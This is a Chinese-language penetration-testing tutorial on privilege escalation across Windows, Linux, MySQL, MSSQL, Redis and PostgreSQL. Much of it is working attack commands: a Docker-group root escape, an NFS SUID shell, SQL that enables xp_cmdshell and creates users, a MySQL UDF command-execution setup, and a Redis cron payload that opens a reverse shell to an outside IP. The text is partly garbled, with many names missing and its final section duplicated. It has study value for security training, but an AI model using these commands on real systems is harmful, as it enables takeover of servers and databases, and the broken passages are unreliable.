内网渗透-权限提升

权限提升
文章目录linux提权 内核漏洞提权SUID 提权计划任务提权环境变量提权第三方服务提权数据库提权 mssql
附上小迪的图
提高自己在服务器中的权限 , 主要针对网站入侵过程中 , 当入侵某一网站时 , 通过各种漏洞提升权限以夺得该服务器权限
提权 , 顾名思义就是提高自己在服务器中的权限  , 比如在中本身登录的用户时guest , 然后通过提权后就变成超级管理员() , 拥有了管理的所有权限
在中 , 权限大概分为四种 , 分别是Users、、、 。在这四种权限中 , 我们经常接收到的是前三种 , 下面我们对这几种权限进行分析:
低级别权限将使得渗透测试受到很多限制 , 因此 , 在渗透测试中 , 熟悉提权操作对渗透测试工作有很大的帮助 , 提升权限的方式分为以下两类:
提权 常用系统命令
systeminfo#系统信息whoami#当前用户名whoami /priv#当前用户权限ipconfig#网络配置信息ipconfig /displaydns#显示dns缓存route print#打印路由表arp -a#打印arp表hostname#主机名net user#打印用户列表net user UserName#关于用户信息net use \SMBPATH Pa$$w0rd /u:UserName#连接smbnet localgroup#列出所有组net localgroup GROUP#关于指定组的信息net view \127.0.0.1#会话打开到当前计算机net session#开放给其他计算机netsh firewall show config#显示防火墙配置Tasklist /svc#列出服务任务net start#列出启动的服务dir /s foo#在目录中搜索指定字符的项dir /s too==bar#同上sc query#列出所有服务sc qc ServiceName#找到指定服务的路径shutdown /r /t 0#重启type file.txt#打印出文件内容lcacls "C\Example"#列出权限Wmic qfe get Caption,Description,HotFixID,InstalledOn#列出安装的补丁
溢出提权
利用该漏洞的关键是目标系统有没有及时安装补丁 , 如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话 , 攻击者就会向目标系统上传本地溢出程序
获取网站权限后 , 我们仅仅只能对网站操作 , 无法对服务器进行操作 , 需要对服务器进行提权 , 获取到更高权限 。
案例演示
1.上传后门文件 , 获取到权限
2.在web权限提升中 , 最常用的是溢出漏洞提权 , 用cmd去执行文件进行提权 , 从下图可以清晰的看到我们在看到的权限和服务器上看到的权限是不一样的 。
3.利用进行信息收集 , 一般关注操作系统版本 , 打过的补丁编号 。
4.获取到补丁编号后 , 我们要进行补丁筛选 , 推荐两个优秀项目:wesng ,。将上面收集到的信息保存到1.txt中 , 利用wesng进行补丁筛选
5.执行完后会将可能存在的漏洞保存在vuln.csv中
6.利用MSF或特定EXP进行提权(msf要搭建在外网 , 才能将会话反弹到本机 , 内网不能反弹)生成一个5577.exe后门 , 执行该后门 , 反弹的端口号为5577
7.设置监听端口为5577
8.端口反弹的权限为web权限
9.利用wesng中收集到的漏洞编号 , 进行模块利用 , 并且设置反弹端口 , 此时的端口号应该与前面的不同 , 这个端口反弹的权限为提权后的权限 , 并且监听的回话为3 , 与上面的会话对应
10.成功反弹权限
总结
权限提升流程:信息收集-补丁筛选-利用MSF或特定EXP-西瓜到手
漏洞库推荐:Wes、
Wes和是脚本 , 可以不借助操作 , 适用于web提权
有些漏洞可能只适应于本地环境提权 , 不适用于web环境提权
有些提权方法借助系统上的设计 , 逻辑上的问题来实现 , 并不总是依靠漏洞 。
wes:
使用“Wes”进行补丁筛选:下载 , 在cmd执行命令“.exe wes.py .txt -o vuln.csv” , 即对比“”文件并将结果输出 , 其中“-o”是输出 , 可以将结果输出为“csv”“txt”等格式 , 输出的结果是可能存在的漏洞等 , 第一次使用会要求下载两个文件(漏洞库)

使用“”进行补丁筛选:
下载 , 在cmd执行命令“.exe -/cve-check.py”可以看到程序说明 , 使用“-u”“-U”分别更新CVE和EXP信息
将“.ps1”放到放到对方的服务器上运行 , 获得“KB.json” , 也可以自行复制“”的信息并修改成其需要的格式
cmd执行“.exe -/cve-check.py -C -f KB.json” , 如果出现错误提示将KB.json的编码格式转换为UTF-8编码即可
-不安全的服务权限配合 MSF-本地
需要本地权限
简介:系统服务文件在操作系统启动时加载和运行 , 并在后台调用可执行文件 。理论上 , 低权限用户是没有对高权限服务调用的可执行文件写权限 , 但是 , 如果因管理员错误的配置 , 导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限 , 那么低权限用户就可以将该文件替换成任意可执行文件 , 这样就可以劫持系统服务 , 获得该系统服务的权限 , 而服务是以权限运行的 , 所以低权限用户就能获得系统权限 。(利用条件比较苛刻)
就不细讲了
【内网渗透-权限提升】-不带引号服务路径配合 MSF-Web,本地
比较被动 , 且不常见
原理:下服务的权限通常为 , 将目标服务的启动程序替换为恶意程序 , 实现提权
无引号服务路径 , 就是服务启动程序的路径中包含了空格且未被引号包含起来 。例如 C:\ Files\\.exe
如果存在空格 , 在启动服务找寻服务启动项时 , 会按照以下顺序就行启动项寻找
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe
如果我们在服务的上层目录有写入或完全控制权限 , 我们完全可以将一个可执行文件放在搜寻服务启动项的更靠前顺序上 。
用以下命令来搜索哪些服务路径没有包含引号
meterpreter中先用ps查看进程 , 随便找一个system权限 , 记住其pid , 然后 migrate PID 即可完成进程迁移 。
msf:
#寻找存在漏洞的服务wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """#msf攻击模块exploit/windows/local/trusted_service_path#正常接收到会话后 , 不久就会自动断开连接 , 需要开启命令自动迁移进程set AutoRunScript migrate -f
AT&SC&PS命令
前提已经获得计算机的平台用户权限 , 比较老的计算机系统 , win7之前的系统 , 以为例
AT
打开CMD添加一项计划任务 , 在15:13打开一个cmd窗口 , 时间可以自由设置 , 发现打开的窗口是权限
at 15:13 /interactive cmd.exe
win7以上版本已失效
SC
创建一个名叫“”的服务 , 运行它
sc Create syscmd binPath= "cmd /K start" type= own type= interactsc start syscmd
发现得到的cmd窗口是权限
这是一个逻辑错误 , 只针对Win7之前的系统
win7以上版本失效
PS
下载微软官方的工具包 , 在下载的文件夹下执行下面的命令
psexec.exe -accepteula -s -i -d cmd.exe
发现得到的cmd窗口是权限
linux提权 信息收集 系统命令
内核 , 操作系统和设备信息
uname -a打印所有可用的系统信息uname -r内核版本uname -n系统主机名 。uname -m查看系统内核架构(64位/32位)hostname系统主机名lsb_release -a发行版信息cat /proc/version内核信息cat /etc/*-release发行版信息cat /etc/issue发行版信息cat /proc/cpuinfoCPU信息
用户和群组
cat /etc/passwd列出系统上的所有用户cat /etc/group列出系统上的所有组groups当前用户所在的组groups testtest用户所在的组getent group xxxxxx组里的用户grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'列出所有的超级用户账户whoami查看当前用户w谁目前已登录 , 他们正在做什么last最后登录用户的列表lastlog所有用户上次登录的信息lastlog –u %username%有关指定用户上次登录的信息
用户和权限信息
whoami当前用户名id当前用户信息cat /etc/sudoers谁被允许以root身份执行sudo -l当前用户可以以root身份执行操作
环境信息
env显示环境变量echo %PATH 路径信息history显示当前用户的历史命令记录pwd输出工作目录cat /etc/profile显示默认系统变量cat /etc/shells显示可用的shell
.SH(本地LINUX枚举和提权辅助脚本)
项目地址:
脚本简介
是一个 Linux 主机本地信息自动提取的 shell 脚本 , 它有超过 65 项安全检查功能 , 比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等 。另外这个脚本还可以根据关键字(比如 )搜索 *.conf 和 *.log 文件 , 这些功能对于渗透测试人员来说 , 是非常有用的 。
一般来说 , 有很多时候我们无法查看或者ip地址的时候 , 用这个脚本可以帮你一键获取你想要的信息!
chmod +x /tmp/LinEnum.shsh /tmp/LinEnum.sh > /tmp/getinfo.txt
linux--.sh
项目地址:
内核漏洞提权
内核漏洞是我们几乎最先想到的提权方法 。
我们可以使用kali的寻找对应的内核漏洞或网上寻找相应的内核漏洞
searchsploit linux 内核版本//exp网上自己找gcc 45010.c -o 45010//编译成可执行文件chmod +x 45010./45010
使用gcc将C语言程序编译成可执行文件 , 上传至靶机 , 执行即可提权至root权限
SUID 提权
SUID是对二进制程序进行设置的特殊权限 , 可以让二进制程序的执行者临时拥有宿主的权限 , 若是对一些特殊命令设置了SUID , 存在被提权的风险 。常见的SUID提权命令有vim , find , bash , more , less等
标记:当 s 标志出现在文件拥有者的 x 权限 上时 , 就被为SUID的特殊权限SUID 权限对于一个文件的特殊功能如下:SUID 权限仅对二进制程序( binary program) 有效执行者对于该程序需要具有 x 的可执行权限本权限仅在执行该程序的过程中有效 ( run-time)执行者将具有该程序拥有者 ( owner) 的权限举个例子:9 8 7 6 5 4 3 2 1 0- r w s r - x r - x第8-6位、5-3位、2-0位分别表示文件所有者的权限 , 同组用户的权限 , 其他用户的权限 。x表示可执行 , w表示可写 , r表示可读 , 例中8-6位文件所有者权限的x被s标记替换 , 为SUID权限 , 当文件所有者为root , 普通账户在使用这个命令的时候会暂时获得其拥有者(root)的权限 。
常见Linux中root文件列表如下
nmapvimfindbashmorelessnanocp
也可用命令查找设置了SUID的权限文件
find / -user root -perm -4000 -exec ls -l {} \;
存在sudo , su , 命令被设置了SUID权限 , 存在漏洞提权
pkexec whoami
计划任务提权
linux的计划任务提权与的思路一致 , 查找权限配置不当的计划任务 , 前提条件是执行的某个计划任务以root身份运行 , 并且此计划任务可以被低权限用户编辑 。
列出计划任务
ls -l /etc/cron*cat /etc/crontab
环境变量提权
请参考:
第三方服务提权
当一些第三方服务 , 以root身份运行 ,  我们通过它拿到的shell就是root权限 。
-antup该命令可以显示所有打开并正在监听的端口 , 我们可以通过此命令检查是否有可以利用的本地服务
ps -aux | grep root 该命令可以显示以root用户身份运行的服务
组提权
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo 。因为设计或者其他的原因 , Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面) 。默认情况下 , Docker 软件包是会默认添加一个 docker 用户组的 。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker 。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大 。
组内用户执行如下命令 , 即可获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease#参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS这个容器的启动脚本是 exploit.sh , 主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /) , 然后获取到宿主机的 root 权限 。
NFS提权
当服务器中存在NFS共享 , 且开启了选项时 , 这时如果客户端使用的是root用户 , 那么对于共享目录来说 , 该客户端就有root权限 , 可以使用它来提升权限 。
①查看NFS服务器上的共享目录
sudo showmount -e x.x.x.x
②创建本地挂载目录 , 挂载共享目录 。使用攻击者本地root权限创建Suid shell 。
sudo mkdir -p /tmpsudo mount -t nfs x.x.x.x:/home/test /tmpcp /bin/bash /tmp/shellchmod u+s /tmp/shell
③回到要提权的服务器上 , 使用普通用户使用shell -p来获取root权限 。
数据库提权
①UDF提权
②MOF提权
③启动项提权
⑤反弹shell提权
数据库提权 mysql UDF提权
UDF就是User Defined Functions , 通俗来讲就是用户可 自定义函数 。udf提权就是利用到创建自定义函数(sys_eval) , 在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限 , 从而达到提权的目的 。简单来说便是利用 提权脚本放到对方 mysql指定的目录下 ,  运用脚本创建自定义函数 ,  使用函数即可获取shell权限 。
而提权脚本怎么拿呢?
相信很多同学都有 , 在\data\udf\mysql\路径下就有32位和64位的这个提权脚本 , 如下
每个文件夹下都是一个dll文件 , 这个文件就是加密过的提权脚本
下面就给大家来演示一下详细步骤 , 如下
1、准备提权脚本
我们讲了上面那个就是加密过的提权脚本 , 因为sqlmap怕这个提权脚本被查杀 , 所以进行了加密 , 我们要用的时候再用sqlmap自带的解密文件解密就行
解密步骤如下
选择指定版本(32位或者64位)的加密脚本文件复制选择好的脚本文件(dll_文件)到sqlamp/extra/cloak
在这里打开cmd执行以下命令进行解密
python cloak.py -d -i lib_mysqludf_sys.dll_
解密后就会生成的一个dll文件
这就是我们要使用的提权脚本
2、上传到利用目录
在mysql<5.1 他的udf利用目录是在 c:/windows或者 system32在mysql=>5.1 他的udf利用目录是在 /lib/plugin//没有这个目录 需要自己创建
再把刚才的提权脚本上传到该目录下
3、执行恶意命令
连接目标数据库执行以下命令
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
如果执行成功 , 即结果为true就说明没问题 , 然后就可以使用下面的格式执行命令
select sys_eval("要执行的命令");
我们得到了权限 , 因为部署数据库时就是使用admin权限来部署的 , 如果部署数据库是权限 , 那么拿到的也会是权限
MOF提权
MOF提权适用于
条件:数据库开启了 ***允许导入导出***的配置
过于鸡肋
启动项提权
条件:1、数据库开启了写入文件的配置2、数据库允许外连
利用也比较简单 , 就是*利用mysql写入恶意木马到启动项目录* , 当用户启动系统时就会自动加载素有启动项内容 , 自然也就执行了我们的恶意程序 , 拿到权限
注意:windows server 启动项目录 C:/programdata/microsoft/windows/start menu/programs/startup/ Msf对应利用模块: exploit/windows/mysql/mysql_start_up
反弹shell
和UDF一样 , 用nc反弹shell命令即可
就是先做一个反弹shell的php脚本文件 , 上传后执行 , 再用nc监听反弹的权限 , 很简单
mssql
sql server 2000 版本是默认开启了xp_cmdshell在sql server 2005之后的版本就是默认禁止 。这个时候就需要 管理员权限才能开启
可以理解为sql 的一个函数 , 使用步骤如下
开启
操作数据库执行以下命令
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
现在已经拿到权限了 , 直接按如下格式执行命令即可
exec master.dbo.xp_cmdshell '命令'
如果被删除了 , 可以上传 .dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
和上面的没啥区别 , 都可以理解为函数
打开
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\\1.txt'
页面没有回显 , 结果在c盘下的1.txt中 。
关闭:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE WITH OVERRIDE;
沙盒模式
参考资料:
提权命令
exec sp_configure 'show advanced options',1;reconfigure;
不开启的话在执行会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
关闭沙盒模式 , 如果一次执行全部代码有问题 , 先执行上面两句代码 。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
查询是否正常关闭 , 经过测试发现沙盒模式无论是开 , 还是关 , 都不会影响我们执行下面的语句 。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
执行系统命令 , 创建用户 , 密码为
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user zhaosiyv zhaosiyv /add")')
已经有用户了 , 而用户的权限也是高权限
数据库一般配合jsp建站 , jsp网站后门不需要提权 , 自带权限
普通用户模式:
前提是拥有一个普通的连接账号 , 不需要DBA权限 , 可提权至DBA , 并以实例运行的权限执行操作系统命令 。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤 , 一键执行测试 。
注入提升模式:(测试演示)
拥有一个注入点 , 可以通过注入点直接执行系统命令 , 此种模式没有实现回显,需要自己验证 。
(JSP网站不需要提权 , 自带权限)
提权的话有一款专门的工具 , 就是这款工具 , 工具也用百度网盘给大家打包了 , 链接如下
链接:https://pan.baidu.com/s/19z31o7t_rEtu_vGeNLf2kg 提取码:4444
有普通 , dba , 注入三种 , 选择自己获得的权限 , 输入ip , 用户名 , 密码 , 端口等直接连接就可以了 , 非常方便
redis
这个一般是用计划任务反弹shell来进行提权操作 , 按照如下步骤输入命令即可
Redis在默认情况会将服务绑定在6379端口上 , 从而将服务暴露在公网环境下 , 如果在没有开启安全认证的情况下 , 可以导致任意用户未授权访问Redis服务器并Redis进行读写等操作 。
连接对方的redisredis-cli.exe -h 192.168.163.131 -p 6379另外用一个自己的服务器来监听本地的端口msf和nc皆可建立计划任务(ip为自己的ip , 端口为接收权限的端口)set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.163.111/6666 0<&1 2>&1\n”将计划任务放到定时任务下config set dir /var/spool/cron/设置以root用户的身份执行该任务config set dbfilename root保存save
PostgreSQL 是一款关系型数据库 。其 9.3 到 11 版本中存在一处“特性” , 管理员或具有“COPY TO/FROMPROGRAM”权限的用户 , 可以使用这个特性执行任意命令 。提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058连接-利用漏洞-执行-提权参考:https://vulhub.org/#/environments/postgres/修复方案:升级版本或打上补丁
**数据库提权方式尽量是在其他提权方式无果后再进行尝试 **
骤输入命令即可
Redis在默认情况会将服务绑定在6379端口上 , 从而将服务暴露在公网环境下 , 如果在没有开启安全认证的情况下 , 可以导致任意用户未授权访问Redis服务器并Redis进行读写等操作 。
连接对方的redisredis-cli.exe -h 192.168.163.131 -p 6379另外用一个自己的服务器来监听本地的端口msf和nc皆可建立计划任务(ip为自己的ip , 端口为接收权限的端口)set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.163.111/6666 0<&1 2>&1\n”将计划任务放到定时任务下config set dir /var/spool/cron/设置以root用户的身份执行该任务config set dbfilename root保存save
PostgreSQL 是一款关系型数据库 。其 9.3 到 11 版本中存在一处“特性” , 管理员或具有“COPY TO/FROMPROGRAM”权限的用户 , 可以使用这个特性执行任意命令 。提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058连接-利用漏洞-执行-提权参考:https://vulhub.org/#/environments/postgres/修复方案:升级版本或打上补丁
**数据库提权方式尽量是在其他提权方式无果后再进行尝试 **